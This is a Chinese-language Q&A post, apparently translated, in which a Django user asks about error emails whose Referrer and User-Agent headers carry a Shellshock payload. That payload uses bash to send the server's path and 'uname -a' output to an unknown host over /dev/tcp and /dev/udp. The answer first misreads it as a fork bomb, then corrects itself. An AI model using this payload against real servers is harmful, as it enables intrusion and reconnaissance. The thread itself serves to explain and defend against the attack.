Django可能发生安全攻击

当任何请求失败并且我不断收到此电子邮件时,我已设置django通过电子邮件提醒我：

Referrer: () { :;}; /bin/bash -c "echo <<my_server_ip>>/cgi-bin/index.cgi  > /dev/tcp/<<unkNown_ip>>/21; /bin/uname -a > /dev/tcp/<<unkNown_ip>>/21; echo <<my_server_ip>>/cgi-bin/index.cgi > /dev/udp/<<unkNown_ip>>/21"
Requested URL: /cgi-bin/index.cgi
User agent: () { :;}; /bin/bash -c "echo <<my_server_ip>>/cgi-bin/index.cgi  > /dev/tcp/<<unkNown_ip>>/21; /bin/uname -a > /dev/tcp/<<unkNown_ip>>/21; echo <<my_server_ip>>/cgi-bin/index.cgi > /dev/udp/<<unkNown_ip>>/21"
IP address: 127.0.0.1

这是什么意思？我应该打扰吗？

我正在使用Nginx,ubuntu,gunicorn.

解决方法:

这看起来像是尝试fork bomb：

() { :;};

幸运的是,如果您的服务器在发送后仍在运行,则意味着它正在被清理或被忽略.

正如@TheGreatContini所指出的那样是actually an attempted Shellshock attack.这使我的答案有点不安全.值得确保您的服务器已完全修补并保持最新,并检查任何传出流量以确保您不受影响.